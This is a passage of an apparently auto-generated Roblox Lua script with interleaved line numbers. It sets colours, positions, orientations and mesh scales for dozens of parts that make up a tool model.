Part139.Color = Color3.new(0.105882, 0.164706, 0.207843)
2242
Part139.Position = Vector3.new(26.9669189, 1.213135, 138.983887)
2243
Part139.Orientation = Vector3.new(78, -90.5400009, 0)
2244
Part139.Color = Color3.new(0.105882, 0.164706, 0.207843)
2245
Decal140.Parent = Part139
2246
Decal140.Texture = "http://www.roblox.com/asset/?id=65628034"
2247
Decal140.Face = Enum.NormalId.Bottom
2248
BlockMesh141.Parent = Part139
2249
BlockMesh141.Scale = Vector3.new(1, 0.149999991, 0.599999964)
2250
BlockMesh141.Scale = Vector3.new(1, 0.149999991, 0.599999964)
2251
Part142.Parent = Tool0
2252
Part142.Material = Enum.Material.SmoothPlastic
2253
Part142.BrickColor = BrickColor.new("Brick yellow")
2254
Part142.Reflectance = 0.050000000745058
2255
Part142.Rotation = Vector3.new(-151.309998, 0.469999999, 179.73999)
2256
Part142.Anchored = true
2257
Part142.FormFactor = Enum.FormFactor.Custom
2258
Part142.Size = Vector3.new(0.209999993, 0.468000025, 0.239999995)
2259
Part142.CFrame = CFrame.new(27.0928955, 0.732177973, 138.332642, -0.999955833, -0.00450787693, 0.00823824108, 7.35136609e-08, 0.877250671, 0.480031699, -0.00939126313, 0.480010271, -0.87721169)
2260
Part142.BottomSurface = Enum.SurfaceType.Smooth
2261
Part142.TopSurface = Enum.SurfaceType.Smooth
2262
Part142.Color = Color3.new(0.843137, 0.772549, 0.603922)
2263
Part142.Position = Vector3.new(27.0928955, 0.732177973, 138.332642)
2264
Part142.Orientation = Vector3.new(-28.6899986, 179.459991, 0)
2265
Part142.Color = Color3.new(0.843137, 0.772549, 0.603922)
2266
BlockMesh143.Parent = Part142
2267
BlockMesh143.Offset = Vector3.new(0, -0.0419999994, 0)
2268
BlockMesh143.Scale = Vector3.new(1, 0.824999928, 1)
2269
BlockMesh143.Scale = Vector3.new(1, 0.824999928, 1)
2270
Part144.Parent = Tool0
2271
Part144.Material = Enum.Material.SmoothPlastic
2272
Part144.BrickColor = BrickColor.new("Black")
2273
Part144.Reflectance = 0.050000000745058
2274
Part144.Rotation = Vector3.new(90, 0, 165.539993)
2275
Part144.Anchored = true
2276
Part144.FormFactor = Enum.FormFactor.Custom
2277
Part144.Size = Vector3.new(0.200000003, 0.449999988, 0.200000003)
2278
Part144.CFrame = CFrame.new(26.9614258, 1.28222597, 138.385986, -0.968313754, -0.249736801, -7.44484936e-08, 9.68605463e-08, -7.74534854e-08, -0.999999583, 0.249736413, -0.968312979, 9.9188938e-08)
2279
Part144.BottomSurface = Enum.SurfaceType.Smooth
2280
Part144.TopSurface = Enum.SurfaceType.Smooth
2281
Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
2282
Part144.Position = Vector3.new(26.9614258, 1.28222597, 138.385986)
2283
Part144.Orientation = Vector3.new(89.9499969, -36.8899994, 128.649994)
2284
Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
2285
CylinderMesh145.Parent = Part144
2286
CylinderMesh145.Scale = Vector3.new(0.450000018, 1, 0.450000018)
2287
CylinderMesh145.Scale = Vector3.new(0.450000018, 1, 0.450000018)
2288
Part146.Parent = Tool0
2289
Part146.Material = Enum.Material.SmoothPlastic
2290
Part146.BrickColor = BrickColor.new("Black")
2291
Part146.Reflectance = 0.050000000745058
2292
Part146.Rotation = Vector3.new(0, -0.539999962, 180)
2293
Part146.Anchored = true
2294
Part146.FormFactor = Enum.FormFactor.Custom
2295
Part146.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
2296
Part146.CFrame = CFrame.new(27.0931396, 1.06030297, 138.265137, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
2297
Part146.BottomSurface = Enum.SurfaceType.Smooth
2298
Part146.TopSurface = Enum.SurfaceType.Smooth
2299
Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
2300
Part146.Position = Vector3.new(27.0931396, 1.06030297, 138.265137)
2301
Part146.Orientation = Vector3.new(0, -0.539999962, 180)
2302
Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
2303
BlockMesh147.Parent = Part146
2304
BlockMesh147.Scale = Vector3.new(1, 0.299999982, 0.149999991)
2305
BlockMesh147.Scale = Vector3.new(1, 0.299999982, 0.149999991)
2306
Part148.Parent = Tool0
2307
Part148.Material = Enum.Material.SmoothPlastic
2308
Part148.BrickColor = BrickColor.new("Black")
2309
Part148.Reflectance = 0.050000000745058
2310
Part148.Rotation = Vector3.new(90, 0, 0.539999962)
2311
Part148.Anchored = true
2312
Part148.FormFactor = Enum.FormFactor.Custom
2313
Part148.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
2314
Part148.CFrame = CFrame.new(27.0906982, 0.835205019, 138.562073, 0.999955833, -0.00939106941, -7.51575016e-08, -7.35136609e-08, 1.7538153e-07, -0.999999523, 0.00939126313, 0.999955058, 1.74683436e-07)
2315
Part148.BottomSurface = Enum.SurfaceType.Smooth
2316
Part148.TopSurface = Enum.SurfaceType.Smooth
2317
Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
2318
Part148.Position = Vector3.new(27.0906982, 0.835205019, 138.562073)
2319
Part148.Orientation = Vector3.new(89.9399948, -23.2799988, -22.7399998)
2320
Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
2321
SpecialMesh149.Parent = Part148
2322
SpecialMesh149.Scale = Vector3.new(1, 0.180000007, 0.149999991)
2323
SpecialMesh149.MeshType = Enum.MeshType.Wedge
2324
SpecialMesh149.Scale = Vector3.new(1, 0.180000007, 0.149999991)
2325
Part150.Parent = Tool0
2326
Part150.Material = Enum.Material.SmoothPlastic
2327
Part150.BrickColor = BrickColor.new("Dark stone grey")
2328
Part150.Reflectance = 0.050000000745058
2329
Part150.Rotation = Vector3.new(180, 75.5400009, 90)
2330
Part150.Anchored = true
2331
Part150.FormFactor = Enum.FormFactor.Custom
2332
Part150.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2333
Part150.CFrame = CFrame.new(26.8951416, 1.28222597, 138.124695, -6.36223589e-08, -0.24973698, 0.968313515, -0.999999583, -1.30446693e-07, -9.93476377e-08, 1.5112407e-07, -0.968312979, -0.249736756)
2334
Part150.BottomSurface = Enum.SurfaceType.Smooth
2335
Part150.TopSurface = Enum.SurfaceType.Smooth
2336
Part150.Color = Color3.new(0.388235, 0.372549, 0.384314)
2337
Part150.Position = Vector3.new(26.8951416, 1.28222597, 138.124695)
2338
Part150.Orientation = Vector3.new(0, 104.459999, -90)
2339
Part150.Color = Color3.new(0.388235, 0.372549, 0.384314)
2340
CylinderMesh151.Parent = Part150
2341
CylinderMesh151.Scale = Vector3.new(0.450000018, 0.149999991, 0.450000018)
2342
CylinderMesh151.Scale = Vector3.new(0.450000018, 0.149999991, 0.450000018)
2343
Part152.Parent = Tool0
2344
Part152.Material = Enum.Material.SmoothPlastic
2345
Part152.BrickColor = BrickColor.new("Brick yellow")
2346
Part152.Reflectance = 0.050000000745058
2347
Part152.Rotation = Vector3.new(118.689995, 0.25999999, 0.469999999)
2348
Part152.Anchored = true
2349
Part152.FormFactor = Enum.FormFactor.Custom
2350
Part152.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
2351
Part152.CFrame = CFrame.new(27.0914307, 0.711181998, 138.478333, 0.999955833, -0.00823810697, 0.00450787693, -7.35136609e-08, -0.480031669, -0.877250552, 0.00939126313, 0.877211511, -0.480010271)
2352
Part152.BottomSurface = Enum.SurfaceType.Smooth
2353
Part152.TopSurface = Enum.SurfaceType.Smooth
2354
Part152.Color = Color3.new(0.843137, 0.772549, 0.603922)
2355
Part152.Position = Vector3.new(27.0914307, 0.711181998, 138.478333)
2356
Part152.Orientation = Vector3.new(61.3099976, 179.459991, -180)
2357
Part152.Color = Color3.new(0.843137, 0.772549, 0.603922)
2358
SpecialMesh153.Parent = Part152
2359
SpecialMesh153.Scale = Vector3.new(1, 0.180000007, 0.112500004)
2360
SpecialMesh153.MeshType = Enum.MeshType.Wedge
2361
SpecialMesh153.Scale = Vector3.new(1, 0.180000007, 0.112500004)
2362
Part154.Parent = Tool0
2363
Part154.Material = Enum.Material.SmoothPlastic
2364
Part154.BrickColor = BrickColor.new("Brick yellow")
2365
Part154.Reflectance = 0.050000000745058
2366
Part154.Rotation = Vector3.new(180, 0.539999962, -180)
2367
Part154.Anchored = true
2368
Part154.FormFactor = Enum.FormFactor.Custom
2369
Part154.Size = Vector3.new(0.209999993, 0.200000003, 0.270000011)
2370
Part154.CFrame = CFrame.new(27.0947266, 0.877197027, 138.41217, -0.999955833, 7.65568586e-08, 0.00939106941, 7.35136609e-08, 0.999999523, -3.24393056e-07, -0.00939126313, -3.2368834e-07, -0.999955058)
2371
Part154.BottomSurface = Enum.SurfaceType.Smooth
2372
Part154.TopSurface = Enum.SurfaceType.Smooth
2373
Part154.Color = Color3.new(0.843137, 0.772549, 0.603922)
2374
Part154.Position = Vector3.new(27.0947266, 0.877197027, 138.41217)
2375
Part154.Orientation = Vector3.new(0, 179.459991, 0)
2376
Part154.Color = Color3.new(0.843137, 0.772549, 0.603922)
2377
BlockMesh155.Parent = Part154
2378
BlockMesh155.Offset = Vector3.new(0.00300000003, -0.01425, 0)
2379
BlockMesh155.Scale = Vector3.new(1.00999999, 0.583200037, 1.00999999)
2380
BlockMesh155.Scale = Vector3.new(1.00999999, 0.583200037, 1.00999999)
2381
Part156.Parent = Tool0
2382
Part156.Material = Enum.Material.SmoothPlastic
2383
Part156.BrickColor = BrickColor.new("Dark stone grey")
2384
Part156.Reflectance = 0.050000000745058
2385
Part156.Transparency = 1
2386
Part156.Rotation = Vector3.new(-180, 0.539999962, -180)
2387
Part156.Anchored = true
2388
Part156.FormFactor = Enum.FormFactor.Custom
2389
Part156.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2390
Part156.CFrame = CFrame.new(27.09375, 1.414307, 138.217346, -0.999955893, 4.35706298e-08, 0.00939145684, 4.37113812e-08, 0.99999994, 1.4781123e-08, -0.00939150155, 1.51909649e-08, -0.999955773)
2391
Part156.BottomSurface = Enum.SurfaceType.Smooth
2392
Part156.TopSurface = Enum.SurfaceType.Smooth
2393
Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
2394
Part156.Position = Vector3.new(27.09375, 1.414307, 138.217346)
2395
Part156.Orientation = Vector3.new(0, 179.459991, 0)
2396
Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
2397
BlockMesh157.Parent = Part156
2398
BlockMesh157.Scale = Vector3.new(0.75, 0.360000014, 0.599999964)
2399
BlockMesh157.Scale = Vector3.new(0.75, 0.360000014, 0.599999964)
2400
Part158.Parent = Tool0
2401
Part158.Material = Enum.Material.SmoothPlastic
2402
Part158.BrickColor = BrickColor.new("Black")
2403
Part158.Reflectance = 0.050000000745058
2404
Part158.Rotation = Vector3.new(-180, -89.4599991, -90)
2405
Part158.Anchored = true
2406
Part158.FormFactor = Enum.FormFactor.Custom
2407
Part158.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
2408
Part158.CFrame = CFrame.new(27.0986328, 1.27026403, 138.982239, 7.63110108e-08, 0.00939127803, -0.999955833, 0.999999702, -2.19092968e-07, 7.42566968e-08, -2.18385907e-07, -0.999955297, -0.00939120352)
2409
Part158.BottomSurface = Enum.SurfaceType.Smooth
2410
Part158.TopSurface = Enum.SurfaceType.Smooth
2411
Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
2412
Part158.Position = Vector3.new(27.0986328, 1.27026403, 138.982239)
2413
Part158.Orientation = Vector3.new(0, -90.5400009, 90)
2414
Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
2415
CylinderMesh159.Parent = Part158
2416
CylinderMesh159.Offset = Vector3.new(0.00300000003, -0.00300000003, 0.00150000001)
2417
CylinderMesh159.Scale = Vector3.new(1.10000002, 1, 1)
2418
CylinderMesh159.Scale = Vector3.new(1.10000002, 1, 1)
2419
Part160.Parent = Tool0
2420
Part160.Material = Enum.Material.SmoothPlastic
2421
Part160.BrickColor = BrickColor.new("Black")
2422
Part160.Rotation = Vector3.new(149.98999, 0.469999999, 0.269999981)
2423
Part160.Anchored = true
2424
Part160.FormFactor = Enum.FormFactor.Custom
2425
Part160.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2426
Part160.CFrame = CFrame.new(27.0817871, 0.855225027, 139.47522, 0.999955893, -0.00469633937, 0.00813275576, -4.37112533e-08, -0.86598748, -0.500062525, 0.00939150155, 0.500040412, -0.865949214)
2427
Part160.BottomSurface = Enum.SurfaceType.Smooth
2428
Part160.TopSurface = Enum.SurfaceType.Smooth
2429
Part160.Color = Color3.new(0.105882, 0.164706, 0.207843)
2430
Part160.Position = Vector3.new(27.0817871, 0.855225027, 139.47522)
2431
Part160.Orientation = Vector3.new(30, 179.459991, -180)
2432
Part160.Color = Color3.new(0.105882, 0.164706, 0.207843)
2433
BlockMesh161.Parent = Part160
2434
BlockMesh161.Scale = Vector3.new(0.450000018, 0.180000007, 0.0300000049)
2435
BlockMesh161.Scale = Vector3.new(0.450000018, 0.180000007, 0.0300000049)
2436
Part162.Parent = Tool0
2437
Part162.Material = Enum.Material.SmoothPlastic
2438
Part162.BrickColor = BrickColor.new("Black")
2439
Part162.Rotation = Vector3.new(-30.0100002, -0.469999999, 179.729996)
2440
Part162.Anchored = true
2441
Part162.FormFactor = Enum.FormFactor.Custom
2442
Part162.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2443
Part162.CFrame = CFrame.new(27.0822754, 0.845215023, 139.457214, -0.999955893, -0.00469633937, -0.00813275576, 4.37112533e-08, -0.86598748, 0.500062525, -0.00939150155, 0.500040412, 0.865949214)
2444
Part162.BottomSurface = Enum.SurfaceType.Smooth
2445
Part162.TopSurface = Enum.SurfaceType.Smooth
2446
Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
2447
Part162.Position = Vector3.new(27.0822754, 0.845215023, 139.457214)
2448
Part162.Orientation = Vector3.new(-30, -0.539999962, 180)
2449
Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
2450
SpecialMesh163.Parent = Part162
2451
SpecialMesh163.Scale = Vector3.new(0.450000018, 0.180000007, 0.180000007)
2452
SpecialMesh163.MeshType = Enum.MeshType.Wedge
2453
SpecialMesh163.Scale = Vector3.new(0.450000018, 0.180000007, 0.180000007)
2454
Part164.Parent = Tool0
2455
Part164.Material = Enum.Material.SmoothPlastic
2456
Part164.BrickColor = BrickColor.new("Black")
2457
Part164.Rotation = Vector3.new(149.98999, 0.469999999, 0.269999981)
2458
Part164.Anchored = true
2459
Part164.FormFactor = Enum.FormFactor.Custom
2460
Part164.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2461
Part164.CFrame = CFrame.new(27.0821533, 0.863281012, 139.488281, 0.999955893, -0.00469634682, 0.00813275576, -4.3711136e-08, -0.865985572, -0.500061572, 0.00939150155, 0.500039399, -0.865947366)
2462
Part164.BottomSurface = Enum.SurfaceType.Smooth
2463
Part164.TopSurface = Enum.SurfaceType.Smooth
2464
Part164.Color = Color3.new(0.105882, 0.164706, 0.207843)
2465
Part164.Position = Vector3.new(27.0821533, 0.863281012, 139.488281)
2466
Part164.Orientation = Vector3.new(30, 179.459991, -180)
2467
Part164.Color = Color3.new(0.105882, 0.164706, 0.207843)
2468
Decal165.Parent = Part164
2469
Decal165.Texture = "http://www.roblox.com/asset/?id=65628034"
2470
Decal165.Face = Enum.NormalId.Bottom
2471
SpecialMesh166.Parent = Part164
2472
SpecialMesh166.Scale = Vector3.new(0.450000018, 0.180000007, 0.119999997)
2473
SpecialMesh166.MeshType = Enum.MeshType.Wedge
2474
SpecialMesh166.Scale = Vector3.new(0.450000018, 0.180000007, 0.119999997)
2475
Part167.Parent = Tool0
2476
Part167.Material = Enum.Material.SmoothPlastic
2477
Part167.BrickColor = BrickColor.new("Black")
2478
Part167.Rotation = Vector3.new(-180, -89.4599991, 120.009995)
2479
Part167.Anchored = true
2480
Part167.FormFactor = Enum.FormFactor.Custom
2481
Part167.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2482
Part167.CFrame = CFrame.new(27.0826416, 0.987304986, 139.373901, -0.00469636917, -0.00813265145, -0.999955893, -0.865986645, 0.500062168, 4.37110863e-08, 0.500039935, 0.865948439, -0.00939150155)
2483
Part167.BottomSurface = Enum.SurfaceType.Smooth
2484
Part167.TopSurface = Enum.SurfaceType.Smooth
2485
Part167.Color = Color3.new(0.105882, 0.164706, 0.207843)
2486
Part167.Position = Vector3.new(27.0826416, 0.987304986, 139.373901)
2487
Part167.Orientation = Vector3.new(0, -90.5400009, -60)
2488
Part167.Color = Color3.new(0.105882, 0.164706, 0.207843)
2489
BlockMesh168.Parent = Part167
2490
BlockMesh168.Offset = Vector3.new(0.0149999997, 0.00600000005, 0)
2491
BlockMesh168.Scale = Vector3.new(1.15200007, 0.234000012, 0.450000018)
2492
BlockMesh168.Scale = Vector3.new(1.15200007, 0.234000012, 0.450000018)
2493
Part169.Parent = Tool0
2494
Part169.Material = Enum.Material.SmoothPlastic
2495
Part169.BrickColor = BrickColor.new("Black")
2496
Part169.Rotation = Vector3.new(-180, -89.4599991, -150)
2497
Part169.Anchored = true
2498
Part169.FormFactor = Enum.FormFactor.Custom
2499
Part169.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2500
Part169.CFrame = CFrame.new(27.0803223, 1.00415003, 139.671265, -0.00813287497, 0.00469574332, -0.999955893, 0.500007033, 0.866016328, 4.37110863e-08, 0.865977883, -0.499984801, -0.00939150155)
2501
Part169.BottomSurface = Enum.SurfaceType.Smooth
2502
Part169.TopSurface = Enum.SurfaceType.Smooth
2503
Part169.Color = Color3.new(0.105882, 0.164706, 0.207843)
2504
Part169.Position = Vector3.new(27.0803223, 1.00415003, 139.671265)
2505
Part169.Orientation = Vector3.new(0, -90.5400009, 30)
2506
Part169.Color = Color3.new(0.105882, 0.164706, 0.207843)
2507
BlockMesh170.Parent = Part169
2508
BlockMesh170.Offset = Vector3.new(-0.103500001, 0.032250002, 0)
2509
BlockMesh170.Scale = Vector3.new(1.80000007, 0.450000018, 0.450000018)
2510
BlockMesh170.Scale = Vector3.new(1.80000007, 0.450000018, 0.450000018)
2511
Part171.Parent = Tool0
2512
Part171.Material = Enum.Material.SmoothPlastic
2513
Part171.BrickColor = BrickColor.new("Black")
2514
Part171.Rotation = Vector3.new(-30, -0.469999999, 179.729996)
2515
Part171.Anchored = true
2516
Part171.FormFactor = Enum.FormFactor.Custom
2517
Part171.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2518
Part171.CFrame = CFrame.new(27.0795898, 0.996093988, 139.719849, -0.999955893, -0.00469574332, -0.00813275576, 4.37111325e-08, -0.86601609, 0.500007153, -0.00939150155, 0.499985039, 0.865977705)
2519
Part171.BottomSurface = Enum.SurfaceType.Smooth
2520
Part171.TopSurface = Enum.SurfaceType.Smooth
2521
Part171.Color = Color3.new(0.105882, 0.164706, 0.207843)
2522
Part171.Position = Vector3.new(27.0795898, 0.996093988, 139.719849)
2523
Part171.Orientation = Vector3.new(-30, -0.539999962, 180)
2524
Part171.Color = Color3.new(0.105882, 0.164706, 0.207843)
2525
BlockMesh172.Parent = Part171
2526
BlockMesh172.Scale = Vector3.new(0.299999982, 0.179999992, 0.0600000061)
2527
BlockMesh172.Scale = Vector3.new(0.299999982, 0.179999992, 0.0600000061)
2528
Part173.Parent = Tool0
2529
Part173.Material = Enum.Material.SmoothPlastic
2530
Part173.BrickColor = BrickColor.new("Black")
2531
Part173.Rotation = Vector3.new(-30, -0.469999999, 179.729996)
2532
Part173.Anchored = true
2533
Part173.FormFactor = Enum.FormFactor.Custom
2534
Part173.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2535
Part173.CFrame = CFrame.new(27.079834, 0.985107005, 139.702026, -0.999955893, -0.00469574332, -0.00813275576, 4.37111645e-08, -0.86601609, 0.500007153, -0.00939150155, 0.499985039, 0.865977705)
2536
Part173.BottomSurface = Enum.SurfaceType.Smooth
2537
Part173.TopSurface = Enum.SurfaceType.Smooth
2538
Part173.Color = Color3.new(0.105882, 0.164706, 0.207843)
2539
Part173.Position = Vector3.new(27.079834, 0.985107005, 139.702026)
2540
Part173.Orientation = Vector3.new(-30, -0.539999962, 180)
2541
Part173.Color = Color3.new(0.105882, 0.164706, 0.207843)
2542
SpecialMesh174.Parent = Part173
2543
SpecialMesh174.Scale = Vector3.new(0.299999982, 0.180000007, 0.149999991)
2544
SpecialMesh174.MeshType = Enum.MeshType.Wedge
2545
SpecialMesh174.Scale = Vector3.new(0.299999982, 0.180000007, 0.149999991)
2546
Part175.Parent = Tool0
2547
Part175.Material = Enum.Material.SmoothPlastic
2548
Part175.BrickColor = BrickColor.new("Black")
2549
Part175.Rotation = Vector3.new(-180, -89.4599991, -180)
2550
Part175.Anchored = true
2551
Part175.FormFactor = Enum.FormFactor.Custom
2552
Part175.Size = Vector3.new(0.779999971, 0.200000003, 0.200000003)
2553
Part175.CFrame = CFrame.new(27.0797119, 1.07519495, 139.687134, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
2554
Part175.BottomSurface = Enum.SurfaceType.Smooth
2555
Part175.TopSurface = Enum.SurfaceType.Smooth
2556
Part175.Color = Color3.new(0.105882, 0.164706, 0.207843)
2557
Part175.Position = Vector3.new(27.0797119, 1.07519495, 139.687134)
2558
Part175.Orientation = Vector3.new(0, -90.5400009, 0)
2559
Part175.Color = Color3.new(0.105882, 0.164706, 0.207843)
2560
BlockMesh176.Parent = Part175
2561
BlockMesh176.Offset = Vector3.new(0, 0.00900000054, 0)
2562
BlockMesh176.Scale = Vector3.new(1, 0.262499988, 0.75)
2563
BlockMesh176.Scale = Vector3.new(1, 0.262499988, 0.75)
2564
Part177.Parent = Tool0
2565
Part177.Material = Enum.Material.SmoothPlastic
2566
Part177.BrickColor = BrickColor.new("Black")
2567
Part177.Rotation = Vector3.new(150, 0.469999999, 0.269999981)
2568
Part177.Anchored = true
2569
Part177.FormFactor = Enum.FormFactor.Custom
2570
Part177.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2571
Part177.CFrame = CFrame.new(27.0797119, 1.00610304, 139.738525, 0.999955893, -0.00469574332, 0.00813275576, -4.37111325e-08, -0.86601609, -0.500007153, 0.00939150155, 0.499985039, -0.865977705)
2572
Part177.BottomSurface = Enum.SurfaceType.Smooth
2573
Part177.TopSurface = Enum.SurfaceType.Smooth
2574
Part177.Color = Color3.new(0.105882, 0.164706, 0.207843)
2575
Part177.Position = Vector3.new(27.0797119, 1.00610304, 139.738525)
2576
Part177.Orientation = Vector3.new(30, 179.459991, -180)
2577
Part177.Color = Color3.new(0.105882, 0.164706, 0.207843)
2578
SpecialMesh178.Parent = Part177
2579
SpecialMesh178.Scale = Vector3.new(0.299999982, 0.179999992, 0.149999991)
2580
SpecialMesh178.MeshType = Enum.MeshType.Wedge
2581
SpecialMesh178.Scale = Vector3.new(0.299999982, 0.179999992, 0.149999991)
2582
Part179.Parent = Tool0
2583
Part179.Material = Enum.Material.SmoothPlastic
2584
Part179.BrickColor = BrickColor.new("Brick yellow")
2585
Part179.Rotation = Vector3.new(0, 89.4599991, 180)
2586
Part179.Anchored = true
2587
Part179.FormFactor = Enum.FormFactor.Custom
2588
Part179.Size = Vector3.new(0.389999986, 0.200000003, 0.200000003)
2589
Part179.CFrame = CFrame.new(26.9969482, 1.08422804, 139.881348, -0.00939145684, -4.35706298e-08, 0.999955893, -1.4781123e-08, -0.99999994, -4.37113812e-08, 0.999955773, -1.51909649e-08, 0.00939150155)
2590
Part179.BottomSurface = Enum.SurfaceType.Smooth
2591
Part179.TopSurface = Enum.SurfaceType.Smooth
2592
Part179.Color = Color3.new(0.843137, 0.772549, 0.603922)
2593
Part179.Position = Vector3.new(26.9969482, 1.08422804, 139.881348)
2594
Part179.Orientation = Vector3.new(0, 89.4599991, -180)
2595
Part179.Color = Color3.new(0.843137, 0.772549, 0.603922)
2596
SpecialMesh180.Parent = Part179
2597
SpecialMesh180.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
2598
SpecialMesh180.MeshType = Enum.MeshType.Wedge
2599
SpecialMesh180.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
2600
Part181.Parent = Tool0
2601
Part181.Material = Enum.Material.SmoothPlastic
2602
Part181.BrickColor = BrickColor.new("Brick yellow")
2603
Part181.Rotation = Vector3.new(-180, -89.4599991, 0)
2604
Part181.Anchored = true
2605
Part181.FormFactor = Enum.FormFactor.Custom
2606
Part181.Size = Vector3.new(0.389999986, 0.200000003, 0.200000003)
2607
Part181.CFrame = CFrame.new(27.1591797, 1.08422804, 139.883057, 0.00939145684, -4.35706298e-08, -0.999955893, 1.4781123e-08, -0.99999994, 4.37113812e-08, -0.999955773, -1.51909649e-08, -0.00939150155)
2608
Part181.BottomSurface = Enum.SurfaceType.Smooth
2609
Part181.TopSurface = Enum.SurfaceType.Smooth
2610
Part181.Color = Color3.new(0.843137, 0.772549, 0.603922)
2611
Part181.Position = Vector3.new(27.1591797, 1.08422804, 139.883057)
2612
Part181.Orientation = Vector3.new(0, -90.5400009, 180)
2613
Part181.Color = Color3.new(0.843137, 0.772549, 0.603922)
2614
SpecialMesh182.Parent = Part181
2615
SpecialMesh182.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
2616
SpecialMesh182.MeshType = Enum.MeshType.Wedge
2617
SpecialMesh182.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
2618
Part183.Parent = Tool0
2619
Part183.Material = Enum.Material.SmoothPlastic
2620
Part183.BrickColor = BrickColor.new("Black")
2621
Part183.Rotation = Vector3.new(0, -0.539999962, 0)
2622
Part183.Anchored = true
2623
Part183.FormFactor = Enum.FormFactor.Custom
2624
Part183.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2625
Part183.CFrame = CFrame.new(26.9984131, 1.12915003, 139.746155, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
2626
Part183.BottomSurface = Enum.SurfaceType.Smooth
2627
Part183.TopSurface = Enum.SurfaceType.Smooth
2628
Part183.Color = Color3.new(0.105882, 0.164706, 0.207843)
2629
Part183.Position = Vector3.new(26.9984131, 1.12915003, 139.746155)
2630
Part183.Orientation = Vector3.new(0, -0.539999962, 0)
2631
Part183.Color = Color3.new(0.105882, 0.164706, 0.207843)
2632
SpecialMesh184.Parent = Part183
2633
SpecialMesh184.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
2634
SpecialMesh184.MeshType = Enum.MeshType.Wedge
2635
SpecialMesh184.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
2636
Part185.Parent = Tool0
2637
Part185.Material = Enum.Material.SmoothPlastic
2638
Part185.BrickColor = BrickColor.new("Black")
2639
Part185.Rotation = Vector3.new(-180, -89.4599991, -180)
2640
Part185.Anchored = true
2641
Part185.FormFactor = Enum.FormFactor.Custom
2642
Part185.Size = Vector3.new(0.270000011, 0.200000003, 0.200000003)
2643
Part185.CFrame = CFrame.new(27.1588135, 1.12915003, 139.942932, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
2644
Part185.BottomSurface = Enum.SurfaceType.Smooth
2645
Part185.TopSurface = Enum.SurfaceType.Smooth
2646
Part185.Color = Color3.new(0.105882, 0.164706, 0.207843)
2647
Part185.Position = Vector3.new(27.1588135, 1.12915003, 139.942932)
2648
Part185.Orientation = Vector3.new(0, -90.5400009, 0)
2649
Part185.Color = Color3.new(0.105882, 0.164706, 0.207843)
2650
BlockMesh186.Parent = Part185
2651
BlockMesh186.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
2652
BlockMesh186.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
2653
Part187.Parent = Tool0
2654
Part187.Material = Enum.Material.SmoothPlastic
2655
Part187.BrickColor = BrickColor.new("Black")
2656
Part187.Rotation = Vector3.new(-180, -89.4599991, -180)
2657
Part187.Anchored = true
2658
Part187.FormFactor = Enum.FormFactor.Custom
2659
Part187.Size = Vector3.new(0.270000011, 0.200000003, 0.200000003)
2660
Part187.CFrame = CFrame.new(26.9967041, 1.12915003, 139.941467, -0.00939130783, 4.38506476e-08, -0.999955893, 1.50212571e-08, 0.999995947, 4.37110863e-08, 0.99995172, -1.46100732e-08, -0.00939150155)
2661
Part187.BottomSurface = Enum.SurfaceType.Smooth
2662
Part187.TopSurface = Enum.SurfaceType.Smooth
2663
Part187.Color = Color3.new(0.105882, 0.164706, 0.207843)
2664
Part187.Position = Vector3.new(26.9967041, 1.12915003, 139.941467)
2665
Part187.Orientation = Vector3.new(0, -90.5400009, 0)
2666
Part187.Color = Color3.new(0.105882, 0.164706, 0.207843)
2667
BlockMesh188.Parent = Part187
2668
BlockMesh188.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
2669
BlockMesh188.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
2670
Part189.Parent = Tool0
2671
Part189.Material = Enum.Material.SmoothPlastic
2672
Part189.BrickColor = BrickColor.new("Black")
2673
Part189.Rotation = Vector3.new(0, -0.539999962, 0)
2674
Part189.Anchored = true
2675
Part189.FormFactor = Enum.FormFactor.Custom
2676
Part189.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
2677
